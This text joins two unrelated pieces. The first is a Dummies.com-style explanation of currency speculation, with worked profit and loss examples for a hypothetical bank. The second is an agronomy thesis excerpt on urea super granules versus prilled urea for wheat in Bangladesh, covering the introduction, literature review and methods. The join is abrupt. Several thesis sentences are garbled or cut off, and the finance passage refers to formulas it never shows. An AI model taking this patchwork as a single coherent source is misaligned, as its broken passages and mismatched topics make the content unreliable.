Currencies can also be bought and sold for a profit. Types of speculation with exchange rates differ, but they all have one thing in common: an expectation regarding the change in the exchange rate in the near future.
Of course, you can buy and sell currency in spot markets or derivative markets. In spot markets, assets are traded for immediate delivery. In derivative markets, although the agreement is done today, the actual transaction (the buying or selling of foreign currency) takes place at a future date (for example, two months from now).
The following numerical examples involve a little more than just buying or selling foreign currencies. For simplicity, the following examples assume that you want to buy a foreign currency and put it in an interest-earning account. Now this doubles the sources of your profits: You can make money from the changes in the exchange rate and the interest earned on the foreign currency.
When speculation goes right
Suppose USA Bank expects the Swiss franc (SFR) to appreciate from $1.069 to $1.112 a year from now. USA Bank borrows $10,000,000 at an interest rate of 1.5 percent for a year, converts it into Swiss francs at the current rate, and deposits the funds into a Swiss bank account at Helvetica Bank for a year at an annual interest rate of 1.75 percent.
A year from now, USA Bank withdraws the Swiss francs, converts them into dollars in the future spot market, and hopes to make a profit.
Here are the steps in calculating the bank’s profits:
USA Bank converts $10,000,000 into Swiss francs at the exchange rate of $1.069 and receives SFR9,354,537 ($10,000,000 / 1.069).
USA Bank deposits SFR9,354,537 into a savings account with Helvetica Bank for a year at an annual interest rate of 1.75 percent.
Therefore, you need to calculate how much money USA Bank receives from the Swiss bank a year from now.
The formula that relates the future value (FV) to the present value (PV) is:
The previous formula indicates that the future value is greater than the present value by the interest factor (1 + R). Suppose that you currently have $100, which is the present value (PV). In a year, you want today’s $100 to become $110, which is the future value (FV). Plug these numbers into the equation:
$110 / $100 = 1 + R = 1.1
Note that dollars cancel in the equation. Future value is 10 percent greater than present value, indicating an interest rate (R) of 10 percent.
Now you can manipulate the basic formula, depending upon what is unknown in a situation. In the USA Bank example, you know the present value (PV) and the interest rate (R). Therefore, the unknown variable is the future value (FV). The next formula shows that the future value (FV) equals the present value (PV) multiplied by the interest factor (1 + R):
FV = PV x (1 + R)
Now you can plug in the known variables in the previous equation. You know that USA Bank has SFR9,354,537 and that the annual interest rate is 1.75 percent. Therefore, the future value is:
FV = SFR9,354,537 x (1+0.0175) = SFR9,518,241
So USA Bank will receive SFR9,518,241 a year from now.
Suppose USA Bank is correct in its expectation, and the Swiss franc does appreciate to $1.112 a year from now.
Therefore, USA Bank withdraws SFR9,518,241 from Helvetica Bank, converts it into dollars, and receives $10,584,284 (SFR9,518,241 x $1.112).
But wait! USA Bank still needs to pay off its loan a year from now at the interest rate of 1.5 percent.
Here you can also use the future value formula, where the present value is the amount of the loan, $10,000,000, and the interest rate is 1.5 percent:
FV = $10,000,000 x [1 + 0.015] = $10,150,000
Therefore, after paying off the loan, USA Bank has a profit of $434,284 ($10,584,284 – $10,150,000).
To calculate USA Bank’s rate of return on this speculation, calculate the percent change between the amount of money the bank received and paid:
This result suggests that USA Bank received an annual rate of return (or profit) of 4.28 percent from this speculation. But be careful when you call it a profit. In this example, you’re not provided with alternative investment opportunities for USA Bank in the U.S. or elsewhere.
As long as the rate of return USA Bank would have received in the U.S. or anywhere in the world is below 4.28 percent (holding the risk constant), this example shows speculation that went right.
When speculation goes wrong
Now you see how USA Bank can lose money in speculation. As in the previous example, USA Bank expects an appreciation of the Swiss franc (SFR) from $1.069 to $1.112 in 60 days. USA Bank borrows $10,000,000 at an interest rate of 1.5 percent for 60 days, converts it into Swiss francs at the current rate, and deposits the funds into an account at Helvetica Bank for 60 days at an interest rate of 1.75 percent.
At the end of the 60-day period, USA Bank converts its Swiss francs into dollars.
Therefore, most of your calculations associated with the previous example are also correct here, meaning that USA Bank converts $10,000,000 into Swiss francs and receives SFR9,354,537. Then it deposits the money with Helvetica Bank for 60 days at an interest rate of 1.75 percent. At the end of the 60-day period, USA Bank receives SFR9,381,821.
But suppose that USA Bank is wrong this time in terms of its expectations regarding the future spot rate. As USA Bank withdraws SFR9,381,821 from Helvetica Bank, it observes that the Swiss franc has depreciated from $1.069 to $1.059 instead of appreciating to $1.112.
In this case, USA Bank receives $9,935,348 (SFR9,381,821 x 1.059), which is less than the payment due on the loan ($10,025,000). In this case, USA Bank suffers a loss of $89,652 ($9,935,348 – $10,025,000). | http://www.dummies.com/how-to/content/speculation-taking-a-risk-to-gain-profit.navId-816997.html | CC-MAIN-2015-27 | refinedweb | 1,110 | 72.46 |
This provides the capabilities of the real time clock device as exposed through the EFI interfaces. More...
#include <UefiSpec.h>
This provides the capabilities of the real time clock device as exposed through the EFI interfaces.
Definition at line 735 of file UefiSpec.h.
Provides the reporting resolution of the real-time clock device in counts per second.
For a normal PC-AT CMOS RTC device, this value would be 1 Hz, or 1, to indicate that the device only reports the time to the resolution of 1 second.
Definition at line 742 of file UefiSpec.h.
Provides the timekeeping accuracy of the real-time clock in an error rate of 1E-6 parts per million.
For a clock with an accuracy of 50 parts per million, the value in this field would be 50,000,000.
Definition at line 749 of file UefiSpec.h.
A TRUE indicates that a time set operation clears the device's time below the Resolution reporting level.
A FALSE indicates that the state below the Resolution level of the device is not cleared when the time is set. Normal PC-AT CMOS RTC devices set this value to FALSE.
Definition at line 757 of file UefiSpec.h. | http://dox.ipxe.org/structEFI__TIME__CAPABILITIES.html | CC-MAIN-2018-47 | refinedweb | 203 | 65.12 |
Visual Studio 2012 enables developers to create the new Windows apps that target Windows 8. If you worked with either WPF applications or Silverlight, you can reuse your XAML knowledge and it doesn't take too much time to start working with .NET Profiles for Windows 8 apps, known more formally as ".NET for Windows Store" apps.
However, it is indeed necessary to change the way you design the user experience, especially if you have previous experience with apps. You have to master the new way Microsoft thinks about Windows 8 apps, the UI elements, the controls, and the layouts. In this first article in a series (that will run in three consecutive weekly installments), I provide a brief overview about the different Windows 8 apps types, the new .NET Profile, and the first steps to build a Windows 8 app and customize its appearance with Visual Studio 2012.
Windows 8 Apps Require a Paradigm Shift
Forget about colorful icons, stop thinking about gradients, and don't even try to add mirror effects. Think a bit monochrome and keep things as simple and fluid as possible. These are good precepts to follow when initially designing the UI for a Windows 8 app with XAML, the new .NET Profiles, and especially the new Window 8 tiles.
The first time I installed the final version of Windows 8, some aspects of the UI made me think my system didn't have the appropriate GPU drivers. However, after making sure the right drivers were installed and my GPU was working OK, I figured out what Microsoft was talking about when it warns app developers about keeping things simple. Just look at the new Start screen to understand how simple I mean (see Figure 1).
Figure 1: The icons displayed within single color tiles in the Windows 8 Start screen are very simple. Pay attention to the white icons for Mail, Maps, Photos, and Games.
Windows 8 App Types
Before developing an app, it is very important to understand the different Windows 8 app types organized by target and by their most common distribution mechanism (see Figure 2):
Target: Consumers
- Consumer apps. Tech companies and developers build consumer apps and distribute them through Windows Store. Some examples of consumer apps are Twitter, Facebook, and Calendar.
- Business-to-Consumer (B2C) apps. Enterprises build B2C apps and distribute them through Windows Store. Some examples of B2C apps are apps from airlines that enable users to perform online check-ins and review reservations, and retail apps that allow users to review online catalogs and make purchases.
Target: Business
- LOB ISV apps. Tech companies and developers build Line-Of-Business Independent Software Vendor (LOB ISV) apps and distribute them through either Windows Store or side-loading. Some examples of LOB ISV apps are vendor apps that extend CRM and ERP platforms to devices that support Windows 8.
- Custom LOB apps. Enterprises build custom Line-Of-Business (LOB) apps and distribute them through side-loading. Some examples are company-internal knowledge management systems, expense approval systems, and the implementation of specific internal workflows in LOB apps. You can think of custom LOB apps as the replacements for Silverlight LOB applications.
Figure 2. Different types of Windows 8 apps.
Understanding the New .NET Profile for Windows Store Apps
If you want to leverage your existing .NET knowledge and start developing Windows 8 apps, you must understand the new .NET Profile tailored for apps and the new native API Windows Runtime (WinRT). WinRT (sometimes also called WRT) replaces the well-known Win32 APIs for Windows 8 apps. Microsoft designed WinRT with multiple languages in mind, and therefore, it isn't like Win32 APIs, which were written to be consumed by the C programming language. WinRT is object-oriented from scratch and projects out objects to the different programming languages that consume it. Thus, WinRT represents a huge change for those used to thinking about making Win32 calls from different programming languages.
You can use many languages to create Windows 8 apps and interact with WinRT:
- C# and XAML
- C++ and XAML
- Visual Basic and XAML
- JavaScript, HTML5, and CSS3
- C++ and DirectX
Here, I'll focus on C# and XAML. However, you can also use most of the things that I'll explain for the other choices shown in the aforementioned list. Apps written in JavaScript, HTML5, and CSS3 have the same UI elements that we use with XAML. The unique case is C++ and DirectX, where the UI is usually very different.
You can also create WinRT components that you can use in Windows Store apps using any of the available programming languages another new market for component developers.
The new .NET Profile for Windows Store apps includes many reference assemblies you may already know from .NET Framework 4.5, Windows Phone 7, and Silverlight 5 (see Figure 3). However, it is important to understand some of the differences in .NET Profiles.
Profiles
Each .NET Profile represents a subset of reference assemblies. The default location for the assemblies included in .NET for Windows Store apps is C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETCore\v4.5, provided that your operating system drive is C:. The more generic path is %ProgramFiles(x86)%\"Reference Assemblies"\Microsoft\Framework\.NETCore\v4.5.
Figure 3: An idea of reference assemblies shared between .NET Profile for Windows Store apps and other .NET Profiles.
.NET for Windows Store apps represented a great opportunity for Microsoft engineers to remove a lot of unnecessary garbage that various .NET versions have been accumulating. Thus, this new Profile removes duplicate types that aren't necessary for WinRT APIs. (They were put in the .NET Framework for compatibility with previous versions.) For example,
ArrayList isn't available and if you need a list, you can use the more modern
List<T>. Some types were required in early .NET Framework versions and don't make sense in modern profiles. Generics support represented a big improvement for .NET Framework and there are older types that generate confusion and don't add value.
.NET for Windows Store apps is focused on apps, and therefore, the Profile removes all the APIs that aren't applicable to apps. For example, Console applications and ASP.NET aren't included. In addition, everything that has been considered dangerous, obsolete, legacy, and badly designed isn't included in the new Profile. Operating System API wrappers aren't available in the new Profile, and therefore, you aren't able to access the performance counter or the event log.
The good news about .NET for Windows Store apps is that it has fewer assemblies, namespaces, types, and members than the Windows Phone 7 profile. The new Profile is simplified and it is easy to get used to it if you have experience with other .NET Profiles. Figure 4 shows the main high-level components for .NET for Windows Store apps. Don't forget that the Profile targets client apps, which means that you can only use the client-side of WCF. The Profile doesn't provide any server features.
Figure 4: High-level main components of the .NET Profile for Windows Store apps.
Figure 5 shows the high-level overview of the interaction between the .NET Profile for Windows Store apps and WinRT when XAML is used. Notice that the main namespace for the UI stack is
Windows.UI.Xaml. The main namespace for the operating system services is
Windows (notice that it is not
System.Windows, just
Windows).
Figure 5: .NET Profile for Windows Store apps and the interaction with WinRT.
The following table provides an overview of the namespaces that have been replaced from other .NET Profiles and their new names. You must take into account that some of the new namespaces provide completely new classes and methods that are compatible with the new asynchronous pattern. Special cases are the new
System.Net.HttpClient and
Windows.Networking.BackgroundTransfer namespaces, because both replace the features provided by the previous
System.Net.WebClient namespace.
Application domains, private reflection, and non-generic collections have been removed. In addition, the following namespaces aren't included in .NET for Windows Store apps:
System.Data
System.Reflection.Emit
System.Runtime.Remoting
System.Web | http://www.drdobbs.com/parallel/inside-softram-95/parallel/writing-your-first-windows-8-app-the-lay/240143752 | CC-MAIN-2014-42 | refinedweb | 1,368 | 57.47 |
How to use Pandas Count and Value_Counts
Counting number of Values in a Row or Columns is important to know the Frequency or Occurrence of your data.
In this post we will see how we to use Pandas
Count() and
Value_Counts() functions
Let’s create a dataframe first with three columns A,B and C and values randomly filled with any integer between 0 and 5 inclusive
import numpy as np import pandas as pd df = pd.DataFrame(np.random.randint(0, 5, (5, 3)), columns=["A", "B","C"]) df.replace(1,np.nan,inplace=True)
Pandas Count Number of Rows and Columns
First find out the shape of dataframe i.e. number of rows and columns in this dataframe
df.shape
(5, 3)
Here 5 is the number of rows and 3 is the number of columns
Pandas Count Values for each Column
We will use dataframe count() function to count the number of Non Null values in the dataframe.
We will select axis =0 to count the values in each Column
df.count(0)
A 5 B 4 C 3 dtype: int64
You can count the non NaN values in the above dataframe and match the values with this output
Pandas Count Values for each row
Change the axis = 1 in the count() function to count the values in each row. All None, NaN, NaT values will be ignored
df.count(1)
0 3 1 3 2 3 3 2 4 1 dtype: int64
Pandas Count Along a level in multi-index
Now we will see how Count() function works with Multi-Index dataframe and find the count for each level
Let’s create a Multi-Index dataframe with Name and Age as Index and Column as Salary
idx = pd.MultiIndex.from_tuples([('Chris',48), ('Brian',np.nan), ('David',65),('Chris',34),('John',28)], names=['Name', 'Age']) col = ['Salary'] df = pd.DataFrame([120000, 140000, 90000, 101000, 59000], idx, col) df
In this Multi-Index we will find the Count of Age and Salary for level Name
You can set the level parameter as column “Name” and it will show the count of each Name Age and Salary
Brian’s Age is missing in the above dataframe that’s the reason you see his Age as 0 i.e. No value available for his age but his Salary is present so Count is 1
df.count(level='Name')
Pandas Count Groupby
You can also do a group by on Name column and use count function to aggregate the data and find out the count of the Names in the above Multi-Index Dataframe function
Note: You have to first
reset_index() to remove the multi-index in the above dataframe
df=df.reset_index()
df.groupby(by='Name').agg('count')
Alternatively, we can also use the count() method of pandas groupby to compute count of group excluding missing values
df.groupby(by='Name').count()
if you want to write the frequency back to the original dataframe then use transform() method. You can learn more about transform here.
df['freq']=df.groupby(by='Name')['Name'].transform('count') df
Pandas Count rows with Values
There is another function called
value_counts() which returns a series containing count of unique values in a Series or Dataframe Columns
Let’s take the above case to find the unique Name counts in the dataframe
#value counts # Remove the multi-index using reset_index() in the above dataframe df=df.reset_index() df['Name'].value_counts()
Chris 2 John 1 Brian 1 David 1 Name: Name, dtype: int64
Sort by Frequency
You can also sort the count using the sort parameter
#sort by frequency df['Name'].value_counts(sort=True)
Chris 2 John 1 David 1 Brian 1 Name: Name, dtype: int64
Sort by Ascending Order
Sort the frequencies in Ascending order
# sort by ascending df['Name'].value_counts(sort=True, ascending=True)
David 1 Brian 1 John 1 Chris 2 Name: Name, dtype: int64
Value Counts Percentage or Relative Count
You can also get the relative frequency or percentage of each unique values using normalize parameters
# Relative counts - find percentage df['Name'].value_counts(normalize=True)
Chris 0.4 John 0.2 Brian 0.2 David 0.2 Name: Name, dtype: float64
Now Chris is 40% of all the values and rest of the Names are 20% each
Binning
Rather than counting you can also put these values into bins using the bins parameter
This works only for Numeric data
df['Salary'].value_counts(bins=2)
(99500.0, 140000.0] 3 (58918.999, 99500.0] 2 Name: Salary, dtype: int64
Pandas Value Count for Multiple Columns
value_counts() method can be applied only to series but what if you want to get the unique value count for multiple columns?
No need to worry, You can use apply() to get the count for each of the column using
value_counts()
Let’s create a new dataframe
df = pd.DataFrame(np.random.randint(0, 2, (5, 3)), columns=["A", "B","C"]) df
Apply
pd.Series.value_counts to all the columns of the dataframe, it will give you the count of unique values for each row
df.apply(pd.Series.value_counts, axis=1)
Now change the axis to 0 and see what result you get, It gives you the count of unique values for each column
df.apply(pd.Series.value_counts, axis=0)
Alternatively, you can also use melt() to Unpivot a DataFrame from wide to long format and crosstab() to count the values for each column
df1 = df.melt(var_name='columns', value_name='values') pd.crosstab(index=df1['values'], columns=df1['columns'])
Pandas Count Specific Values in Column
You can also get the count of a specific value in dataframe by boolean indexing and sum the corresponding rows
If you see clearly it matches the last row of the above result i.e. count of value 1 in each column
df[df == 1].sum(axis=0)
A 3.0 B 1.0 C 2.0 dtype: float64
Pandas Count Specific Values in rows
Now change the axis to 1 to get the count of columns with value 1 in a row
You can see the first row has only 2 columns with value 1 and similarly count for 1 follows for other rows
#By row df[df == 1].sum(axis=1)
0 2.0 1 2.0 2 3.0 3 2.0 4 2.0 dtype: float64
Conclusion
Finally we have reached to the end of this post and just to summarize what we have learnt in the following lines:
- Pandas count value for each row and columns using the dataframe count() function
- Count for each level in a multi-index dataframe
- Pandas
value_counts()method to find frequency of unique values in a series
- How to apply
value_countson multiple columns
- Count a Specific value in a dataframe rows and columns
if you know any other methods which can be used for computing frequency or counting values in Dataframe then please share that in the comments section below | https://kanoki.org/2020/03/09/how-to-use-pandas-count-and-value_counts/ | CC-MAIN-2022-33 | refinedweb | 1,158 | 66.07 |
Rice & wheat
Rice
Wheat
Chapter 1 INTRODUCTION Wheat (Triticum aestivum L.) is the succeeding alternative cereal crop of Bangladesh afterward to rice. It ranks 1st in respect of total production in the world. Thereabouts one third population of the world use wheat as their staple food (Hunshell and Malik, 1983). It contains superior protein then rice. Wheat is one of the most important staple food crops of the world, occupying 17% (one sixth) of crop acreage worldwide, feeding about 40% (nearly half) of the world population and providing 20% (one fifth) of total food calories and protein in human nutrition (Gupta et al., 2008). Rice exclusively cannot fulfill the cereal necessity. Wheat is the second substantial cereal crop in Bangladesh. Consequently, efforts are being made to increase the production of wheat. Sum up land acreage of wheat in Bangladesh was 394.6 thousand hectares & the total production was 849 thousand metric tons with an average yield of 2.15 t ha -1 in 2008-2009 (BBS, 2009). Wheat is well adapted to our climate and can play a indispensable role in reducing our food shortage. Wheat contains plenty of proteins (12.6%), vitamins (B1, B2, B3, and E) and minerals(folic acid, calcium, phosphorus, zinc, copper, iron). As a second cereal crop, its importance is high in Bangladesh and increasing day after day. In Bangladesh, wheat is grown in upland condition during the rain fed season (November- March). The monthly maximum and minimum temperature during this period ranges from 25.8 to 30.5 ยบC and 13.8 to 20.3ยบC in the south east zone and from 24.9 to 32.3ยบC and 10.3 to 16.7ยบC in the north east zone respectively (Hossain et al., 2001). Urea (prilled urea) is widely used in the agricultural industry as an animal feed additive and fertilizer with 46% nitrogen. It is an efficacious fountain of nitrogen fertilizers. Urea is water soluble white crystalline solid organic compound. It has the chemical formula of CO (NH 2)2. Prilled urea or prills are formed by dropping liquid urea from a prilling tower into droplets that dry into roughly spherical shapes 1mm to 4mm in diameter where as granular urea is slightly larger and harder. Globally, inclination contrasted to other wheat-producing regions in the developing world. The International Maize and Wheat Improvement Center (CIMMYT) has defined the wheat irrigated areas as mega-environment one (ME1) which includes the Indo-Genetic). Accordingly, it is important to identify nitrogen management practices that will allow meeting the increasing claim for food and fiber while diminishing environmental impact and being economically seductive to farmers. Nitrogen is a very momentous element for crop cultivation but highly deficient in most soils of Bangladesh. Bangladeshi farmers are mainly using urea, the most available source of nitrogen and broadcasting it on the soil surface. It is highly water-soluble and a quick release fertilizer. For this reason, its application to the soil surface may result in a significant loss as ammonia to the atmosphere by volatilization and also by leaching through soil profile, thus, reducing the efficiency of urea which ultimately paid by in plant as poor yield. Khalil et al. (1996) stated that nitrogen use efficiency is only 38.84 and 38.14% with using 120 and 180 kg N ha-1, respectively in wheat. Granular nitrogen like urea super granules (USG) a slow releasing fertilizer is being marketed as an N source instead of conventional prilled urea. The International Fertilizer Development Center (IFDC), have conclusively demonstrated that compacted USG, that is, urea with 1–3 g
granules, are an effective N source (Savant et al., 1990). In general, one or more USG are deep placed (7–10 cm depth) by hand at the center of every four rice seedling hills in rice soils during or after rice transplanting. (Savant et al.,1998) have shown that N loss is significantly reduced, which results in a significant increase in rice grain yield under flooded conditions compared with split applied PU. Wheat is a rabi crop. During rabi season our farmers are concerned to grow boro rice and maize as their yield is higher than wheat. Wheat has been pushed down to the marginal land due to the increased area of boro rice and maize. Thus we obtain poor yield from wheat. It is very urgent to meliorate wheat yield with high yielding variety cultivating on the main land. The solely way is to bring back wheat on the main land with high yield potentiality through different managements of fertilizers like urea. With all these fact under consideration the present study was taken with following objectives: (1) To study the growth of wheat under different method of nitrogen managements. (2) To look through the effect of different methods of nitrogen placement on yield of wheat. (3) To validate the findings of nitrogen management from the economic point of view. Chapter 2 REVIEW OF LITERATURE Urea is the most frequently used Nitrogen fertilizer globally. Urea can be applied in different ways. In Bangladesh crystal urea is applied mostly as top dressing. But top dressing sometimes induces imbalance in yield components and decreases yield. It was observed that urea super granules (USG) can minimize the loss of N from soil and hence the affectivity increased up to 20-25% (Hasanuzzaman et al., 2009). Nitrogen fertilizer when applied as USG was reported to have increased grain yield by around 18% and saved around 32% N in wetland rice over prilled urea and appeared to be a good alternative N fertilizer management for rice production (Annon., 2004). Hasan et al. (2002) determined the response of hybrid (Sonar Bangla-l and Alok 6201) and inbred (BRRI Dhan 34) rice varieties to the application methods of urea super granules (USG) and prilled urea (PU) and reported that the effect of application method of USG and
PU was not significant in respect of panicle length, number of unfilled grains panicle -1 and 1000-grains weight. Haque (2002) reported that application of fertilizers greatly increased tuber yields of potato and point placement of USG further boosted up the yield of potato tubers. Miah and Ahmed (2002) conducted an experiment and found that deep placement of urea super granules (USG) has been proven to improve N efficiency. In terms of N recovery, agronomical and physiological efficiency, rice varieties utilized N more efficiently when applied as super granules in deep placement Ahmed et al. (2000) conducted a field experiment to study the effect of point placement of urea super granules (USG) and broadcasting prilled urea (PU) as sources of N in T. aman rice. USG and PU were applied @ 40, 80, 120 or 160 Kg N ha -1. They reported that USG was more efficient than PU at all respective levels of nitrogen in producing panicle length, filled grains panicle-1 and 1000-grain weight. Mishra et al. (2000) conducted a field experiment in 1994-95 in Bhubaneswar, Orissa, India, and reported that rice cv. Lalate was given 76 kg N ha -1 as USG at 0, 7, 14 for 21 days after transplanting (DAT and reported that USG application increased plant height. Ahmed et al. (2000) also found that USG was more efficient than PU at all respective levels of nitrogen in producing all yield components and in turn, grain and straw yields of aman rice. Placement of USG @ 160 Kg N ha -1 produced the highest grain yield (4.32 t ha -1) which was statistically identical to that obtained from 120 kg N ha -1 as USG and significantly superior to that obtained from any other level and source of N. Balaswamy (1999) found that in an experiment deep placement of nitrogen as urea super ganules reduced the weight of weeds resulting in more panicles and filled grains and increased the grain yield of rice over the split application of prilled urea by 0.43 and 0.3 t ha -1 and basal application of large granular urea by 0.73 and 0.64 t ha -1
in 1985 and 1986,
respectively. Department of Agricultural Extension conducted 432 demonstrations in 72 Upazilla as of 31 districts in Bangladesh during the 1996-97- winter season of boro rice. It was reported that USG plots, on an avenge, produced nearly 5 percent higher yields than the PU treated plots while applying 30-40% less urea in the form of USG (Islam and Black, 1998).
Vijaya and Subbaiah (1997) showed that plant height of rice increased with the application of USG and were greater with the deep placement method of application both N and P compared with broadcasting. Singh and Singh (1997) conducted a field experiment in 1987 in Uttar Pradesh, India. Dwarf rice cv. Jaya was given 90 or 120 kg N ha -1, as urea super granules, large granular urea or neem cake coated urea. N was applied basally, or in 2 equal splits (basally and panicle initiation). They found that grain yield was highest with 120 kg N (4.65 ha -1), was not affected by N source and was higher with split application. Kumar et al. (1996) reported that application of USG in the sub soil gave 22% higher grain yield of rice than control. Khalil et al. (1996) stated that nitrogen use efficiency is only 38.84 and 38.14% with using 120 and 180 kg N/ha as prilled urea, respectively in wheat. Miah et al. (1990) found that LAI was significantly higher in USG receiving plots than urea at heading and the total dry matter production was affected significantly by the forms of N fertilizer. USG applied plots gave higher TDM compared to urea irrespective of number of seedling transplanted hill-1. At the same time it also noticed that the difference between treatments for TDM was narrower at early growth stages but became larger in later stages. Prilled urea (PU), Mussoorie rock phosphate urea (MRPU), large granular urea (LGU) or nimin [neem seed extract]-coated urea (NCU) or PU, MRPU, LOU and NCU as 66% basal incorporation + 33% top dressing at panicle initiation and found that grain yield was highest with N applied as a basal application of USG or MRPU applied in 2 split applications. Rashid et al. (1996) conducted field experiments in two locations of Gazipur district during boro season (Jan-May) of 1989 to determine the nitrogen use efficiency of urea super granules (USG) and prilled urea (PU) in irrigated rice cultivation. It was observed that 87 kg N ha -1 from USG produced the highest grain yield. However, 58 kg N ha-1 from USG and 87 kg N ha-1 from PU produced statistically similar grain yield to that of 87 kg ha-1 from USG. Das and Singh (1994) pointed out that the grain yield of rice cv. RTH-2 during Kharif season was greater for deep placed USG than USG for broadcast and incorporated or three split applications of PU. Mishra et al. (1994) conducted a field trial with rice cv. Sita giving 0 or 80 kg N ha-1 as urea, urea super granules, neem coated urea. They reported that the highest grain 3.39 t ha-1 obtained by urea in three split applications.
Bhale and Salunke (1993) conducted a field trial to study the response of upland irrigated rice to nitrogen applied through urea and USG. They found that grain yield increased with up to 120 kg urea and 100 kg USG. Bhardwaj and Singh (1993) observed that placement of 84 kg N as USG produced a grain yield t ha-1 which was similar to placing 112 kg USG and significantly greater than nitrogen sources and rates. Singh et al. (1993) pointed out that application of 30 or 60 kg N ha -1 as PU or USG gave the highest grain yield and N uptake increase with the rate of N application and were highest with deep placed USG. N use efficiency was the highest with 30 Kg N ha-1 from deep placed USG. Zaman et al. (1993) conducted two experiments on a coastal saline soil at the Bangladesh Rice Research Institute (BRRI), Regional station, Sonagazi in 1988 and 1989 aus seasons to compare the efficiencies of prilled urea (PU) and urea super granules (USG) as sources of N for upland rice. The N doses used as treatments were 29 kg ha -1 and 58 Kg ha-1 for both PU and USG. The test variety was BR-20. They found that USG consistently produced significantly higher grain yield and straw yield than PU. It was reported that the grain yield of millet was the highest with Bitumen-Coated Urea Super granules (BCUSG) and the lowest with urea and in case of wheat, among N sources residual effects were in the order BCUSG> USG>BCU> urea (Sarker and Faroda, 1993). Modified urea materials under different moisture regimes influence NH 3 volatilization loss and significantly less NH3-N loss was observed for USG treatments than from surface applied urea (Muneshwar et al., 1992). Roy et al. (1991) compared deep placement of urea super granules (USG) by hand and machine and prilled urea (PU) by 2 to 3 split applications in rainfed rice during 1986 and 1987. They reported that USG performed better than PU in all the parameters tested. Filled grains panicle-1 was significantly identical with USO and PU three split treated plots with the highest from PU three split treated plots. Significant difference was observed in 1000-grain weight and highest grain weight was obtained from USG (by hand) treated plots. Thakur (l991a) observed that yield attributes differed significantly due to levels and sources of nitrogen at 60 kg N ha-1 through USG produced the highest panicle weight, number of grains panicle-1, and 1000- grain weight.
Sen and Pandey (1990) carried out a field trial to study the effects of placement of USG (5, 10 or 15 cm deep) or broadcast PU @ 38.32 kg N ha -1 on rice of tall long duration Mashuri and dwaf, short duration Mashuri. They showed that all depths of USG placement resulted in higher yield characters than broadcast PU; however, differences except for panicle lengths were not significant. The proper placement of fertilizer can also increase its use efficiency as reported by Eriksson (1990). On the other hand Rekhi et al. (1989) conducted an experiment on a sandy loamy soil with rice cv. PR 106 providing 0, 37.5 or 75 or 112.5kg N ha -1 as 15 N-labeled PU or USC. They noted that application of PU produced the highest plant height. Mirzeo and Reddy (1989) worked with different modified urea material and levels of N @ 30, 60 and 90 Kg ha-1. They reported that root zone placement of USG produced the highest number of’ tillers at 30 and 60 days after transplanting (DAT). Das (1989) reported that the dry matter yield of rice were higher with application of USG of various forms and methods of application of N fertilizers to rice grown under flooded conditions, placement of N as USG (1 and 2 g size) in the root zone at transplanting was the most effective in increasing dry mater production and were the lowest with urea applied as a basal drilling (Rambabu et al. 1983). Jee and Mahapatra (1989) observed that number of effective tillers m -2 were significantly higher with 90 kg N ha-1 as deep placed USG than split application of urea. Rama et al. (1989) mentioned that the number of panicles m-2 increased significantly when nitrogen level increased from 40 to 120 kg N ha-1 as different modified urea materials and USU produced significantly higher number of panicles 12 m-2 than split application of PU. Rymar et al. (1989) reported that slow release fertilizers (N as encapsulated urea, granular oxamide and oxamide powder) are more effective than the conventional fertilizers (ammonium sulphate or urea). Haque, (1998) reported that urea super granule point placement in rice has been found to be a good practice for poor farmer. It can reduce loss of urea-N and improve its efficiency by more than 60% in flooded rice with a surplus of about 15-20% rice yield over conventional urea broadcast application.
Presently, urea super granule is a proven concept for use in rice production. (Diamond, 1988; Kumar et al., 1989; Savant and Stangel, 1990) In a field trial, Sarder et al. (1988) found that, 94.8 kg N ha -1 as basal application of USG gave longer panicle and total number of filled grains penicle-1 than the other N sources. Singh and Singh (1986) worked with different levels of nitrogen as USG, sulphur coated and PU @ 27, 54 and 87kg ha-1. They reported that deep placement of USG resulted in the highest plant height than PU. They also reported that the number of tillers m-2 was significantly greater in USG than PU in all levels of nitrogen. Nayak et al. (1986) carried out an experiment under rainfed low land conditions with the amount of 58 kg N ha-1 as USG placed in root zone. They showed that USG was significantly superior to as sulphur coated urea (SCU) or applying in split dressing, increasing panicle production unit-1 area. Rajagopalan and Palanisamy (1985) found that 75 kg ha N as USG gave the tallest plant (83 cm). EvaIuation of rice program during 1975 to 78 showed that deep placement of USG is an effective means of increasing rice yields compared with traditional split application of PU (Craswell and De Datta, 1980). According to Creswell and De Datta (1980), broadcast application of urea on the surface soil causes loss upto 50% but point placement of USG in 10 cm depth can save 30% nitrogen over prilled urea, increase absorption rate, improve soil health and ultimately increase rice yield (Savant et al., 1991). The N uptake and recovery of applied N were the highest in the USG + urea treatment and N use efficiency was highest with urea alone (Saha, 1984). In a field experiment, wheat grain yield increased with increasing residual N rate and was highest after deep placement of 120 kg N as USG (Das and Sing, 1994). From reviewing the findings it is imperative to use super granuler urea to crop cultivation for higher yield with saving urea cost and minimizing pollution of environment. Chapter 3
MATERIAL AND METHODS 3.1 Location The experiment was carried out at the experimental farm of the Sher-e-Bangla Agricultural University(SAU), Dhaka-1207, Bangladesh, during the period from November 2008 to March 2009. 3.2 Site selection The experimental field was located at 90o 22/ E longitude and 230 41/ N latitude at an altitude of 8.6 meters above the sea level. The land was located at 28 Agro Ecological Zone (AEZ 28) of “Madhupur Tract” (Appendix I). It was deep red brown terrace soil and belongs to “Nodda” cultivated series. The soil was clay loam in texture having P H ranges from 5.47 to 5.63. Organic matter content was very low (0.82%). 3.3 Climate and weather The climate is subtropical with low temperature and minimum rainfall during December to March was the main feature of the rabi season. 3.4 Planting materials One crop namely wheat (Triticum aestivum) was used in this experiment. 3.5 Plant characteristics and variety 3.5.1
Wheat
BARI gom-19 (Shourav) is a high yielding variety of wheat. The variety was released by WRC (Wheat Research Centre) of BARI in 1998. This variety is suitable for late sowing. It completes its life cycle within 102-110 days. The height of the plant is 90-100 cm. It produces 5-6 tillers plant-1. The stem is hard enough and does not lodge in wind and storm. Leaves are flat, droopy and deep green. Flag leaf is wide and droopy in nature. The number of spikelet spike-1 is 42 - 48 and size of grains are medium to large and the color of the grains is white. The weight of 1000 seed is 40-45g. Plant requires 60-70 days to emerge spike. It has ability to give 3.5-4.6 t ha-1 in favorable condition. This variety is tolerant to leaf spot and leaf rust diseases. This variety is heat tolerant that is why in case of late sowing it gives better yield. The variety gives 10-12% more yield than the traditional ones. (BARI, 2005).
